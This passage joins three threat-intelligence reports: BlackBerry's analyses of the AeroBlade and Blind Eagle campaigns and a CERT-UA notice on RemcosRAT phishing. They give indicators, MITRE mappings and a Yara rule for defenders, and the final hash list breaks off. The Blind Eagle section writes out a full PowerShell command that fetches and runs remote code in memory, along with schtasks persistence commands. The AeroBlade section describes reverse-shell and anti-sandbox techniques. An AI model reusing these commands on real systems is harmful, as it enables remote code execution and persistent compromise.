+attachment, contains an embedded remote template injection technique and a malicious VBA macro +code, to deliver the next stage to the final payload execution. +Evidence suggests that the attacker +s network infrastructure and weaponization became operational +around September 2022. BlackBerry assesses with medium to high confidence that the offensive +phase of the attack occurred in July 2023. The attacker improved its toolset during that time, making it +stealthier, while the network infrastructure remained the same. +Given the final payload functionality and the subject of the attack, BlackBerry assesses with medium +to high confidence that the goal of this attack was commercial cyber espionage. +Brief MITRE ATT&CK + Information +Tactic +Technique +Initial Access +T1566.001 +Execution +T1204.002, T1059.005, T1203, T1559.002, T1559.001, T1106, +T1059.003 +Defense Evasion +T1027, T1140, T1221, T1036.005, T1027.001, +Persistence +T1137.001, T1053.005 +Command-andControl +T1071.001, T1001, T1573.001, T1105 +Exfiltration +T1041, T1029 +1/13 +Discovery +T1083, T1082, T1033, T1016 +Weaponization and Technical Overview +Weapons +MS Office documents, PE 64 +Attack Vector +Spear-phishing +Network Infrastructure +C2 server on port 443 +Targets +Aerospace industry in the United States +Technical Analysis +Context +The BlackBerry Threat Research and Intelligence team recently uncovered two campaigns by a +previously unknown threat actor, which we have named AeroBlade, targeting an aerospace industry +company in the U.S. We found two phases of the attack chain. The initial attack was conducted in +September 2022, and based on our technical analysis, we have concluded this was a +testing + stage. +The second attack occurred in July 2023. +There are certain similarities between both campaigns: +Both lure documents were named +[redacted].docx. +The final payload is a reverse shell. +The command-and-control (C2) server IP address is the same. +There are also some interesting differences between the two campaigns: +The final payload of the 2023 attack is stealthier and uses more obfuscation and anti-analysis +techniques. +The 2023 campaign's final payload includes an option to list directories from infected victims. +During an attack, a malicious Microsoft Word document called [redacted].docx is delivered via email +spear-phishing, which, when executed manually by the user, employs a remote template injection to +download a second stage file called +[redacted].dotm +. This file in turn executes "item3.xml", which +creates a reverse shell connecting to "redacted[.]redacted[.]com" over port 443. +2/13 +Figure 1 + AeroBlade execution chain +Attack Vector +First Stage +The first stage of the infection is a targeted email that has a malicious document attachment with the +filename [redacted].docx. When opened, the document displays text in a deliberately scrambled font, +along with a +lure + message asking the potential victim to click it to enable the content in MS Office. +The docx document employs remote template injection, MITRE ATT&CK technique T1221, to +download the second stage of the infection. +3/13 +Figure 2 + The malicious document displays text in a scrambled font, along with a visual lure asking +the user to click it to enable content +Figure 3 + The +fixed + document that appears once the victim clicks the lure message to manually +enable content +The next-stage information is saved in an XML (eXtensible Markup Language) file inside a .dotm file. +A .dotm file is a document template created by Microsoft Word, containing the default layout, settings, +and macros for a document. +Figure 4 + Next stage parameter in the OLE file +hxxp://[redacted].106.27. [redacted]/[redacted][.]dotm +Once the victim opens the file and executes it by manually clicking the +Enable Content + lure +message, the [redacted].dotm document discretely drops a new file to the system, and opens it. The +newly downloaded document is readable, leading the victim to believe that the file initially received by +email is legitimate. In fact, it +s a classic cyber bait-and-switch, performed invisibly right under the +victim +s nose. +4/13 +Figure 5 + A second document is discretely downloaded and opened in place of the original +malicious document +s interesting to note that the body of the first-stage document contains an executable library that +runs with the help of the second stage +ll take a closer look at this executable library a little later +on in this report. +Figure 6 + Location of the executable library in the file list in the [redacted].docx document +Second Stage +The second stage of execution is the OLE document which contains the macro. The macro runs the +library included in the first-stage document. +5/13 +Figure 7 + A macro that runs a malicious PE file +The second-stage macro also copies the OLE document ([redacted].docx) to a hard-coded file name +at a specific path: +C:\Users\user\AppData\Local\Temp\[redacted].zip +The final execution stage will be an executable file run on the system using the macro. +Payload +The final payload is a DLL that acts as a reverse shell that connects to a hard-coded C2 server. +Reverse shells allow attackers to open ports to the target machines, forcing communication and +enabling a complete takeover of the device. It is therefore a severe security threat. +The DLL is also capable of listing all directories found on the now-infected system. It is a heavily +obfuscated executable which implements complex techniques, such as: +Anti-disassembly techniques to make analysis harder +API hashing to hide its usage of Windows functions; The hash function used is Murmur. +Custom encoding for each string used +Multiple checks are implemented to avoid the malware running on an automated environment +such as a sandbox; This impedes analysis. +For anti-disassembly, the executable contains control flow obfuscation, usage of data between code, +and dead code-executed instructions that do not affect the malware. Dead code is a section in the +source code of a program which is executed, but whose result is never used in any other computation. +These techniques are all added to make analysis harder for defenders. +6/13 +Figure 8 + Example of data between code, control flow obfuscation, and use of dead code +Figure 9 + Usage of evil byte, a common technique to defeat the way disassembler tools work +Figure 10 + Fixed evil byte showing real code execution +The executable also implements techniques that causes the malware to skip execution on automated +systems, such as sandboxes or antivirus (AV) emulators. These techniques include: +Comparing the position of the mouse cursor using the GetCursorPos() function +Comparing time elapsed on execution using the function GetTickCount() +Checking to see if the number of processors is less than two, using the NumberOfProcessors +from the Process Environment Block (PEB) structure +Checking physical memory size using the function GlobalMemoryStatusEx() +Figure 11 + Checking number of processors used by the victim +s machine +7/13 +Figure 12 + Checking available physical memory on the victim +s machine +After passing all those checks, the malicious DLL executes the following sequence: +Decrypts embedded static configuration containing the C2 server information for it to connect to +Collects system information from the infected machine +Sets persistence to survive upon system reboot +Finally, it connects to the C2 server, transmitting all its collected information, and spawning a +reverse shell, while also sending a list of directories found on the infected system. +Figure 13 + Static configuration +Static configuration is AES encrypted, and once decrypted, contains the following structure: +First DWORD: 0x154, unknown usage, static config size is hard-coded at 72 bytes +Second DWORD: 0x1BB, connects to TCP port 443 +16-byte string +Pa$$w0rd + seems to be a password to connect to the C2, but it is not used in +practice +C2 server points to: redacted[.]redacted[.]com +8/13 +Figure 14 + Example of information collected from infected system +Bot-collected data structure is as follows: +Offset 0x3: hard-coded unknown 16 bytes computed by custom unknown encode functions +Offset 0x13: username using function GetUserNameA() +Offset 0x43: computer name using function GetComputerNameA() +Offset 0x73: file name being executed using function GetModuleFileNameA() +Offset 0x178: IPV4 addresses using function GetAdaptersInfo() +Offset0x1b8: MAC addresses using function GetAdaptersInfo() +Persistence is achieved via Windows Task Scheduler, where a task named +WinUpdate2 + is created +to run every day at 10:10 AM. Task Scheduler functions are abused by using its COM object via the +CoCreateInstance() function. +9/13 +Figure 15 + Persistence is established through Windows Task Scheduler +Reverse Shell +Finally, the reverse shell is executed in a stealthy way. First, it gets the default standard handle by +calling GetStdHandle(), then the ComSpec variable is retrieved using the GetEnvironmentVariableW() +function, which by default is set to +C:\Windows\system32\cmd.exe +. After that, a pipe is created +using CreatePipe(), and CreateProcessW() is executed, creating +cmd.exe. +Figure 16 + cmd.exe CreateProcess +Besides the reverse shell, the final payload can collect a complete list of directories on the victim +system by using the function GetLogicalDeviceStringsW(), looping through the list of files using +FindFirstFileA()/FindNextFileA(), and then comparing with + to see if a given file is actually a +directory. +Figure 17 + String comparison with directories +During our investigations, we found two samples from mid-2022: "5[redacted sha-256]7" and +"5[redacted sha-256]8", which is also a reverse shell with a hard-coded C2 at "[redacted][.]165" +the same IP address that the C2 server from the 2023 samples are pointing to. Both samples were +10/13 +targeting the aerospace industry. +While the 2022 samples are obfuscated, unlike the 2023 samples, they do not contain stealthier +functions such as API hashing, anti-analysis techniques, or encrypted static configuration. They also +t include the capability to list directories, nor are they able to send information to a remote server. +Network Infrastructure +Domain Name +[redacted].217 +hxxp://[redacted].217/[redacted][.]dotm +hxxp://[redacted].217/[redacted] +[redacted].195 +redacted.redacted.com +[redacted].165 +redacted.redacted.com +Targets and Attribution +Based on the content of the lure message, an aerospace company in the United States was the +intended target for both campaigns. +The development of this threat group's toolkit indicates that the operator has been active for at least +one year. Exactly who is behind these two campaigns remains unknown. +Conclusions +Given the relatively sophisticated technical capabilities this threat actor deployed and the victim's +timelines, we conclude with a high degree of confidence that this was a commercial cyberespionage +campaign. Its purpose was most likely to gain visibility over the internal resources of its target in order +to weigh its susceptibility to a future ransom demand. +Based on the threat actor +s operations timelines + September 2022 and then July 2023 + we can +surmise that this shows the group +s interest in the target remained consistent between the first and +second campaign, as evidenced by the increased complexity of the second campaign compared to +the first. During the time that elapsed between the two campaigns we observed, the threat actor put +considerable effort into developing additional resources to ensure they could secure access to the +sought-after information, and that they could exfiltrate it successfully. +APPENDIX 1 + Referential Indicators of Compromise (IoCs) +11/13 +Second +Stage +Sha 265 +Sha 265 +16bd34c3f00288e46d8e3fdb67916aa7c68d8a0622f2c76c57112dae36c76875 +885B04081BD89F5E23CBC59723052601 +6d515dafef42a5648754de3c0fa6adfcb8b57af1c1d69e629b0d840dab7f91ec +62D3FF36EC8A721488E512E1C94B2744 +abc348d3cc40521afc165aa6dc2d66fd9e654d91e3d66461724ac9490030697f +A04D2C0AA0A798047161118B5D5816AA +Sha 256 +Disclaimer: The private version of this report is available upon request. It includes but is not limited +to, the complete and contextual MITRE ATT&CK + mapping, MITRE D3FEND + countermeasures, +Attack Flow by MITRE, and other threat detection content for tooling, network traffic, complete IoCs +list, Yara rules, Sigma rules, and system behavior. Please email us at cti@blackberry.com for more +information. +For similar articles and news delivered straight to your inbox, subscribe to the BlackBerry Blog. +Related Reading +About Dmitry Bestuzhev +Dmitry Bestuzhev is Senior Director, CTI (Cyber Threat Intelligence) at BlackBerry. +Prior to BlackBerry, Dmitry was Head of Kaspersky's Global Research and Analysis Team for Latin +America, where he oversaw the company's experts' anti-malware development work in the region. +Dmitry has more than 20 years of experience in IT security across a wide variety of roles. His field of +expertise covers everything from traditional online fraud to targeted high-profile attacks on financial +and governmental institutions. His main focus in research is on producing Threat Intelligence reports +on financially motivated targeted attacks. +12/13 +About The BlackBerry Research & Intelligence Team +The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing +intelligence analysis for the benefit of defenders and the organizations they serve. +13/13 +Blind Eagle Deploys Fake UUE Files and Fsociety to Target Colombia's Judiciary, +Financial, Public, and Law Enforcement Entities +blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia +Summary +APT-C-36, also known as Blind Eagle, has been actively targeting organizations in Colombia and Ecuador since at least 2019. It relies on spearphishing emails sent to specific and strategic companies to conduct its campaigns. On Feb. 20, the BlackBerry Research and Intelligence team +witnessed a new campaign where the threat actor impersonated a Colombian government tax agency to target key industries in Colombia, +including health, financial, law enforcement, immigration, and an agency in charge of peace negotiation in the country. +Based on the infector vector and payload deployment mechanism, we also uncovered campaigns targeting Ecuador, Chile, and Spain. +Brief MITRE ATT&CK Information +Tactic +Technique +Initial Access +T1566.001 +Execution +T1204.001, T1204.002, T1059.005, T1059.001, T1059.003 +Persistence +T1053.005, T1547.001 +Defense Evasion +T1218.009 +Weaponization and Technical Overview +Weapons +PDF for lures, Visual Basic Scripts, .NET Assemblies injected in memory, Malicious DLLs, PowerShell +Attack Vector +Spear-phishing attachment with PDF +Network Infrastructure +DDNS DuckDNS, Discord, Web Applications +Targets +Entities in Colombia +Technical Analysis +Context +APT-C-36 is a South American cyber espionage group that has been actively targeting Latin America-based entities over the last few years. +Although most of its efforts have been focused on Colombia, according to research conducted by CheckPoint researchers, it has also carried out +intrusions against Ecuador. +The main targets of this group for the last few years have been those related to financial and governmental entities. +The initial vector for infection is typically a PDF attachment sent by email. In the case we +ll be examining in this report, the sender of the +phishing email opted to use the Blind Carbon Copy (BCC) field instead of the To: field, most likely in an attempt to evade spam filters. They +orchestrated their scam to correspondencia@ccb.org.co, which is the official email address listed on the Contact Us page of the Bogota +Chamber of Commerce website. Bogot +, of course, is the Capital of Colombia. +The email's Subject line reads, "Obligaciones pendientes - DIAN N.2023-6980070- 39898001" - in English, this means +outstanding +obligations, + a lure craftily designed to catch the attention of unsuspecting law-abiding recipients. DIAN is Colombia +s Directorate of National +Taxes and Customs - the Direcci +n de Impuestos y Aduanas Nacionales. +1/19 +The letter we analyzed states that the recipient is +45 days in arrears + with a tax payment, and tells the target to click a link to view their +invoice, which comes in the form of a password-protected PDF. The letter was signed by a (likely fictious) +Roberto Mendoza Ortiz, +Department Head. + The phishing email's sender is "alfredo agudelo moreno agudelomorenoalfredo79[at]gmail[.]com," an email address which +also appears to have been be made up specifically for this campaign. +We also found another email address associated with this campaign + cobrofactura09291[at]gmail[.]com. +The PDF attached to the phishing email tries to trick the recipient with logos and messages related to the Directorate of National Taxes and +Customs. APT-C-36 has regularly used DIAN in their spear-phishing lures over the years, presumably hoping that their targets + wish to +maintain in good standing with the tax authorities would override any natural caution they may have when opening emails sent from an +unfamiliar email address. +The PDF contains a URL different from the legitimate hyperlink to DIAN +s website, which is https://www.dian.gov.co/. The URL shown is the +real one; however, if the user clicks on it, they are redirected to a different website. Finally, the URL field of this new site contains a URL which +downloads a second-stage payload from the public service Discord. +Below is the full intrusion attempt shown step-by-step: +Figure 1: Attack flow of Blind Eagle +s campaign analyzed +Attack Vector +Hashes (md5, sha-256) +e4d2799f3001a531d15939b1898399b4 +fc85d3da6401b0764a2e8a5f55334a7d683ec20fb8210213feb6148f02a30554 +File name +Fv3608799004720042L900483000P19878099700001537012.pdf +File Size +507436 bytes +Created +2023:01:25 10:07:03-05:00 +Author +Direcci +n De Aduanas Nacionales Calle 23 # 157-25 la +Last Modified +2023:01:25 10:07:03-05:00 +2/19 +DocumentID +uuid:9585FD65-6D08-453D-9E4A-51155AD12748 +What is the DIAN? +The Directorate of National Taxes and Customs is an entity attached to the Ministry of Finance and Public Credit. The DIAN is organized as a +Special Administrative Unit of the national order. Its purpose is to help guarantee the fiscal security of the Colombian State and the protection +of the national economic public order through the administration and control of due compliance with tax, customs, and exchange obligations. +The jurisdiction of the DIAN includes the national territory. It is headquartered in Bogot +, the Capital of Colombia. +Weaponization +Blind Eagle carefully targets its victims with spear-phishing emails, in a similar fashion to other campaigns by the group. It entices its targets to +click links contained in the body of the email, or to download a malicious PDF file, which purports to contain information about overdue taxes. +The URL shown on the bait document masquerades as the actual domain of DIAN. However, when clicked, the hyperlink leads to another +domain created entirely by the threat actor using the public service website[.]org. The link redirects the target to dian.server[.]tl. This crafty +technique is known as URL phishing. +3/19 +Figure 2: Content of the bait email, masquerading as the Directorate of National Taxes and Customs +In English, the bait document reads: +4/19 +Dear taxpayer, +At DIAN we maintain our commitment to provide you with the necessary assistance and services so that you can comply in a timely and +correct manner with your tax obligations. +For this reason, we remind you that you are in arrears with your obligations. for an amount owed of THREE MILLION TWO HUNDRED +FIFTY-TWO THOUSAND ONE HUNDRED FORTY PESOS, with 45 days in arrears due to the lack of commitment in your financial +obligations regulated in law 0248 of the year 2005 numeral 12. +Next, we put at your disposal the Virtual PDF with all the details of your obligations generated to date. +Submit a foreclosure process and pay on time. +In the following link you will find the invoice in PDF format. +To view the document, enter the password: A2023 +Cordially, +ROBERTO MENDOZA ORTIZ +Department Head +When the victim clicks on the masked link in the email, they are redirected to dian.server[.]tl. The threat actor carefully crafted this webpage to +deceive the victim into believing they are interacting with the real DIAN. +Figure 3: Content presented to the user on the fake webpage dian.server[.]tl +Looking at the code of the webpage, the content presented to the users is loaded from website[.]org/s8Xwt2 or website[.]org/render/s8Xwt2, +and not from dian.server[.]tl. This is accomplished by using an iframe resized to the 100% of the screen. +5/19 +Figure 4: The content the victim sees is shown on the left, which is loaded from the resource shown on the right +The fake DIAN website page contains a button that encourages the victim to download a PDF to view what the site claims to be pending tax +invoices. Clicking the blue button initiates the download of a malicious file from the Discord content delivery network (CDN), which the +attackers are abusing in this phishing scam. +hxxps://cdn.discordapp[.]com/attachments/1067819339090243727/1071063499494666240/Asuntos_DIAN_N34000137L287004P08899 +03-02-2023-pdf[.]uue +hxxps://cdn.discordapp[.]com/attachments/1066009888083431506/1070342535702130759/Asuntos_DIAN_N6440005403992837L2088 +01-02-2023-pdf[.]uue +hxxps://cdn.discordapp[.]com/attachments/1072851594812600351/1072851643583967272/Asuntos_DIAN_N3663000227L28700000024 +08-02-2023-pdf[.]uue +The downloaded file tries to trick the user into manually adding the word + at the end of the filename. However, the real extension is +actually +uue. + This is a file extension WinRAR opens by default. Behind the extension there is a .RAR archive. +Figure 5: Default installation of WinRAR with uue extension +Hashes (md5, sha-256) +B432202CF7F00B4A4CBE377C284F3F28 +6D9D0EB5E8E69FFE9914C63676D293DA1B7D3B7B9F3D2C8035ABE0A3DE8B9FCA +6/19 +File Name +Asuntos_DIAN_N6440005403992837L2088970004-01-02-2023-pdf.uue +File Size +1941 (bytes) +s necessary to decompress the contents of the .uue file to continue with the infection chain. The compressed .uue file contains yet another file +inside it. The inner file uses the same naming convention as the parent, but in this case, the new file is a Visual Basic Script (VBS). +Figure 6: Content of the malicious .uue file +Hashes (md5, sha-256) +6BEF68F58AFCFDD93943AFCC894F8740 +430BE2A37BAC2173CF47CA1376126A3E78A94904DBC5F304576D87F5A17ED366 +File name +Asuntos_DIAN_N +6440005403992837L2088970004-01-02-2023-pdf.vbs +File Size +227378 (bytes) +Last Modified +2023:01:31 23:01:04 +The file-extracted VBS script is executed via wscript.exe once the user double-clicks the file, so an element of user-interaction is involved in +executing the attack. Upon execution, the infection chain starts automatically and carries out various actions within the system without any +further user input, as seen below in figure 7. +Figure 7: Process tree once the VBS script is manually executed by the user +The VBS script's content is encoded but easy for a researcher to understand and decode. +7/19 +Figure 8: Content of the VBS script +The VBS script contains a significant amount of junk code, but has several replace functions to construct the PowerShell execution. +Figure 9: Replace functions to replace junk code by the original behavior +The content was built under the variable +OXVTEUOWQPEFWQ +, as shown in figure 9 above. After creating that content, figure 8 shows the +variable +YISMXXAPAUXCGFI +, which is set as a WScript object. +After decoding the code, to better understand its behavior, we can see that a part of the logic - the URL shown in the above image - is actually +reversed. +8/19 +Figure 10: Part of the VBS code decoded +Figure 11: A closer look at part of the VBS code, decoded +The final payload executed is powershell.exe, with the following command line parameters: +"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((NewObject Net.WebClient).DownloadString('hxxp://172.174.176[.]153/dll/Dll.ppam')); +[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] +('txt.ysa/3383903646370010701/3046420575525667501/stnemhcatta/moc.ppadrocsid.ndc//:sptth')) +First, PowerShell downloads and executes the decoded base64 content of hxxp://172.174.176[.]153/dll/Dll.ppam, which is a .NET DLL +encoded, as shown in figure 12. +9/19 +Figure 12: Base64 content from the server, called using powershell.exe +Next, it uses GetType( +Fiber.home +).GetMethod( +), to load the VAI method from the DLL downloaded previously. The logic of this method +is as follows: +To create a copy of the Visual Basic Script called +Asuntos_DIAN_N +6440005403992837L2088970004-01-02-2023-pdf.vbs +C:\Windows\Temp\OneDrive.vbs if it already doesn +t exist using PowerShell. +Powershell.exe -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\OneDrive.vbs +Download the content of hxxp://172.174.176[.]153/rump/Rump.xls (Fsociety) +Replace characters of the content downloaded +Reverse the text of the second URL in the PowerShell command and download its content +(hxxps://cdn.discordapp[.]com/attachments/1057665255750246403/1070100736463093833/asy[.]txt (AsyncRAT payload) +Create a string with the content +C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe +Load the Fsociety DLL into memory, passing two parameters: +RegSvcs path +AsyncRAT payload +Fsociety DLL loads AsyncRAT in the RegSvcs process using the Process Hollowing technique +To better understand the PowerShell execution, the following image demonstrates the sequence of loading DLLs dynamically in memory until +the final goal, which is to load AsyncRAT into memory. AsyncRAT is one of the most popular open-source remote access Trojans (RATs) on the +threat landscape today. +10/19 +Figure 13: Sequence of loaded DLLs after PowerShell execution +The following image is part of all the behavior described above, related to the first DLL loaded using the PowerShell command spawned by the +VBS Script and calling the + method. +11/19 +Figure 14: Part of the method VAI previously called by PowerShell +As mentioned, Fsociety.dll is used to load the final payload of AsyncRAT, which is downloaded from Discord. +Blind Eagle mainly uses AsyncRAT, njRAT, QuasarRAT, LimeRAT, and RemcosRAT in its campaigns. A RAT is a remote access tool a network +admin may use to remotely administrate the node. So a malicious RAT installed on a victim +s machine enables the threat actor to connect to the +infected endpoint any time they like, and to perform any operations they desire. +Figure 15: Fsociety.dll is used to load AsyncRAT in memory +The +Ande + function called in the Fsociety.dll contains the following code: +12/19 +Figure 16: Fsociety DLL code +Hashes (md5, sha-256) +C75F9D3DA98E57B973077FDE8EC3780F +5399BF1F18AFCC125007D127493082005421C5DDEBC34697313D62D8BC88DAEC +File Name +Fiber.dll (Dll.ppam) +File Size +10240 bytes +Compiled +Thu Feb 02 21:43:24 2023 | UTC +13/19 +Hashes (md5, sha-256) +07AF8778DE9F2BC53899AAC7AD671A72 +03B7D19202F596FE4DC556B7DA818F0F76195912E29D728B14863DDA7B91D9B5 +File Name +Fsociety.dll (Rump.xls) +File Size +25600 bytes +Compiled +Sat May 18 00:13:09 2086 | UTC +Hashes (md5, sha-256) +5E518B80C701E17259F3E7323EFFC83F +64A08714BD5D04DA6E2476A46EA620E3F7D2C8A438EDA8110C3F1917D63DFCFC +File Name +Stub.exe (AsyncRAT payload) +File Size +26080 bytes +Compiled +Sun May 10 05:24:51 2020 | UTC +AsyncRAT contains a configuration method with information that is used during the intrusion attempt. This information is encrypted using +Base64 and AES256. +Figure 17: AsyncRAT configuration encrypted +Once the configuration is decrypted, it contains information about the Command-and-Control (C2) to transfer commands and files between +client and server. +14/19 +Figure 18: AsyncRAT configuration decrypted +Also, between the configuration, it was possible to obtain the X.509 certificates used for communication with the C2. +Figure 19: Certificate extracted from the AsyncRAT config +AsyncRAT can establish persistence in two different ways, depending on whether a user loaded it with admin privileges or not. A copy of itself +is first created under C:\Users\\AppData\Roaming\MRR.exe. +Figure 20: Creation of MRR in AppData folder +1. If the user who executed it was an admin, then AsyncRAT can create a scheduled task using the process schtasks.exe, with the following +command line: +a. "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "MRR" /tr '"C:\Users\ +\AppData\Roaming\MRR.exe"' & exit' +Figure 21: Execution of schtasks.exe via cmd.exe +Figure 22: Command line executed to create scheduled task and run AsyncRAT +If the user is not an admin, then AsyncRAT can create a registry key to execute the binary every time the system is started: +15/19 +Key: KCU\Software\Microsoft\Windows\CurrentVersion\Run\MRR +Value: C:\Users\\AppData\Roaming\MRR.exe +Figure 23: Registry key created to execute the AsyncRAT Payload +An interesting part that always happens, regardless of whether the user is admin or not, is the creation of a .bat file in the user +s Temp directory +to perform the following actions: +Timeout.exe execution for three seconds +Run the AsyncRAT payload from AppData folder +Delete the .bat file +Figure 24: tmp file creation in the Temp directory +Figure 25: Execution of cmd.exe to load the .bat file from tmp folder +We could determine that the .bat filename is randomly generated using the regular expression after several executions of this sample. The +structure is like the next one: .*tmp[a-zA-Z1-9]{4}.tmp.bat. +16/19 +Figure 26: Persistence methods used by AsyncRAT +Network Infrastructure +In this case, the victim +s machine starts communicating with the DuckDNS server to receive and execute commands, exfiltrate information, +and perform any other action desired by the threat actor. As seen in figure 18 above, the server used is asy1543.duckdns[.]org:1543. +Figure 27: Communication started between victim +s machine and the threat actor +s C2 +During our investigation, the resolution of the DuckDNS domain was changed to different IP addresses. Initially, the IP that resolves the +domain was a VPN/Proxy service 46.246.86[.]3. While conducting the investigation, we discovered another IP with the same purpose, +46.246.12[.]6. +Entity +Value +Description +17/19 +Domain +asy1543.duckdns[.]org:1543 +Final AsyncRAT payload communication domain +46.246.86[.]3 +Resolution of the DuckDNS domain +46.246.12[.]6 +Resolution of the DuckDNS domain +hxxp://172.174.176[.]153/ +Web application hosting payloads used during the infection +172.174.176[.]153 +IP of the web application hosting payloads used during the infection +Blind Eagle/ APT-C-36 uses Dynamic DNS (DDNS) services, such as DuckDNS, for most campaigns to connect its implemented RATs to the +infrastructure they control to send and receive commands. DuckDNS additionally allows for high IP resolution rotation and the launch of new +subdomains under this well-known DDNS +The application web hosted under hxxp://172.174.176[.]153/ had two main directories where it stored information to be used during the +intrusion as the user downloads and executes files. +The first directory was hxxp://172.174.176[.]153/dll/, storing several DLLs used during the intrusion. +Figure 28: Index of APT-C-36's /dll directory +Another directory is found at hxxp://172.174.176[.]153/rump/ and stores another DLL, in this case, related to Fsociety: +Figure 29: index of /rump directory +Targets +Blind Eagle/ APT-C-36's targets include health, public, financial, judiciary, and law enforcement entities in Colombia. +Among the countries where we have seen Blind Eagle activity in the last few months, specifically distributing the UUE file types with different +themes, include: +18/19 +Colombia +Ecuador +Chile +Spain +This is consistent with the use of the Spanish language in the group +s spear-phishing emails. Most countries in South America use Spanish +(apart from Brazil), which matches the threat actor +s locale and the names in the bait document. +Attribution +APT-C-36 is a South American-based threat actor active since at least 2019. The group continues to concentrate its operations within a +Hispanic geographic region, with its main targets being government institutions and other organizations primarily based in Colombia. +The use of specific tools and artifacts, along with the type and configuration of the network infrastructure documented in this report, combined +with the tactics, techniques & procedures (TTPs) used to deploy them, all closely align with previously attributed campaigns by this group. +That, coupled with the geolocation and nature of the targets seen in this campaign, leads us to ascertain, at the very least, a moderate level of +confidence that this campaign was conducted by APT-C-36. +Conclusions +This campaign continues to operate for the purposes of information theft and espionage. The modus operandi used has mostly stayed the same +as the group +s previous efforts + it is very simple, which may mean that this group is comfortable with its way of launching campaigns via +phishing emails, and feels confident in using them because they continue to work. +Over the next few months, we will likely continue to see new targets for this group, using new ways to deceive their victims. +APPENDIX 1 - Applied Countermeasures +Yara Rules +rule targeted_BlindEagle_Loader : Fsociety +meta: +description = "Rule to detect BlindEagle malicious Loader" +author = "The BlackBerry Research & Intelligence team" +date = "2023-02-07" +last_modified = "2023-02-22" +distribution = "TLP:White" +version = "1.0" +strings: +$h0 = +{6449640053697A655F00526573657276656431004465736B746F70005469746C65006477580064775900647758536 +97A650064775953697A6500647758436F756E74436861727300647759436F756E74436861727300647746696C6C41747472} +$h1 = +{000004200101022901002434353136453045312D354330452D344234452D394133322D39453337453233453734323600000C01000731 +2E302E302E3000004901001A2E4E45544672616D65776F726B2C5665} +condition: +uint16(0) == 0x5A4D and filesize < 100KB and 1 of ($h*) +Disclaimer: The private version of this report is available upon request. It includes but is not limited to the complete and contextual MITRE +ATT&CK + mapping, MITRE D3FEND + countermeasures, and other threat detection content for tooling, network traffic, complete IOCs list, +and system behavior. Please email us at cti@blackberry.com for more information. +About The BlackBerry Research & Intelligence Team +The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of +defenders and the organizations they serve. +19/19 +CERT-UA +cert.gov.ua/article/6276824 +general information +On 21.12.2023, the Government Computer Emergency Response Team of Ukraine CERTUA recorded a mass distribution of e-mails with the subject "Debts under the Kyivstar +contract" and an attachment in the form of an archive "Subscriber's debt.zip". +The specified ZIP-archive contains the RAR-archive "Subscriber's debt.rar" divided into 2 +parts, in which there is a password-protected archive of the same name. In the latter, there is +a document with the macro "Subscriber Debt.doc". +If activated, the macro code will download to the PC and launch the "GB.exe" file using the +file explorer (explorer.exe) using the SMB protocol. In turn, the specified file is an SFX +archive containing a BATCH script for downloading from the bitbucket service and launching +the executable file "wsuscr.exe", obfuscated with the help of SmartAssembly .NET, the +purpose of which is to decrypt and launch the RemcosRAT remote control program (identifier +license: 5639D40461DCDD07011A2B87AD3C9EDD). +In addition, letters with the subject "SBU request" and an attachment in the form of a +"Documents.zip" archive containing a password-protected and divided into 3 RAR-archives +"Request.rar" were recorded. In the latter, the executable file "Request.exe" is located. If +such an archive is opened and the executable files run, the computer may be infected with +the RemcosRAT program (License ID: 5639D40461DCDD07011A2B87AD3C9EDD). +In addition to the typical UAC-0050 location of the RemcosRAT management servers at the +technical site of the Malaysian hosting provider Shinjiru, they are also located within the +autonomous system AS44477 (STARK INDUSTRIES SOLUTIONS LTD). +Indicators of cyber threats +Files: +4754f0ede14f1bae26b69bd43c7b6705 +8b48c11a538af362b766d8ccb09ef11ad6ee62bb430424c9f78d8e7cd5785b7a Debt of the +subscriber.zip +fb9ce204ff2b2f8014a547a2de568327 +ca9093b05cf9e02e06f58c9819042b36b29b8461b4e8f6280bb74a76dcf3e449 Subscriber's +debt.part1.rar +fc196e76dee54125e5fc15018d764fcf +9f63016c2b9c83da3dca2173ca5f443d7e0e5289983c441fe064766f2da3a2ba Subscriber's +debt.part2.rar +324afa8304dc6a079e8f9a2f2ea9654f +1173c9fc2e4fd5eba9ca7492902f860d6b5aac65f1c5d1415aa2cb86f260b94a Automatic access +code.txt +1d1d06ebd13ed9a3ea9254962a4c189f +823a799018d1ab0c2eb4c2b26d3f2eb0342fbc30eac34379903398c97d350827 Debt of the +subscriber.rar +de2e053acae98adbecc23ab3c0e9cf5d +93aa6fc207df430a6e9833259e618895bcdb75c7db0850599d3dbb87d47a54c7 Debt of the +subscriber.doc +c3e7cfa2e076c3ca421ddc00496c71b5 +d698994e527111a6ddd590e09ddf08322d54b82302e881f5f27e3f5d5368829c GB.exe +6c704bae1033920b576dacbcff6bfef5 +7c3476fd586bcb7f42e706f32999356fb4b2c8341f00b8297cf74131f6fa611c test2.exe +628ef6dc40f8b6e89b6d537463add174 +8272c8939a325be870bcde372842b808a015d2b892e239e16a6211a5c0b4c789 test2.bat +fc99e0883a1fa153693547953a83674e +6619b7126840529091b2da2fa1b7238d6b10bc17bbfc8327aad3683ae686b81d wsuscr.exe +490a5462fc6e4f477811ee08a00c7c85 +a18876e286ea71d6d0098f6daa61a456fe1a2c176ab025668bbe5d64feafb829 remcos.exe +62f588d655331f053795087b657743fe +9666d03d9770f87436114fc726790b53b8b625bb9cf36902d040afcef6080dce Documents.zip +1ac510cf6c0d34f5148e3136494a2366 +1279c4f75e61a2213f9bcb7a14922f9c282d7a647fd4b058ad27c84d7a0f315d Request.part1.rar +57ea2a297e1881d1015634c3e9b7c66d +7a100ddd648c57fd4cf4ef12692380deff557c6630a7c9b2d740f69d5c1941a3 Request.part2.rar +f677caecda3825f2553c0e0dcdf3c1b8 +eeed029e8b392301e8f4d17492f2de3640925bfe785a0bf784141c384808a1fb Request.part3.rar +d4f5c321818c7876c6fffffe3e1fc30e +76f1c40c7ff5dda070703cc4f07a5f5d3489fcfa65884ad91fb33a74303ebd43 Code 275376.txt +75bc7617d832a378a533d896223587bc 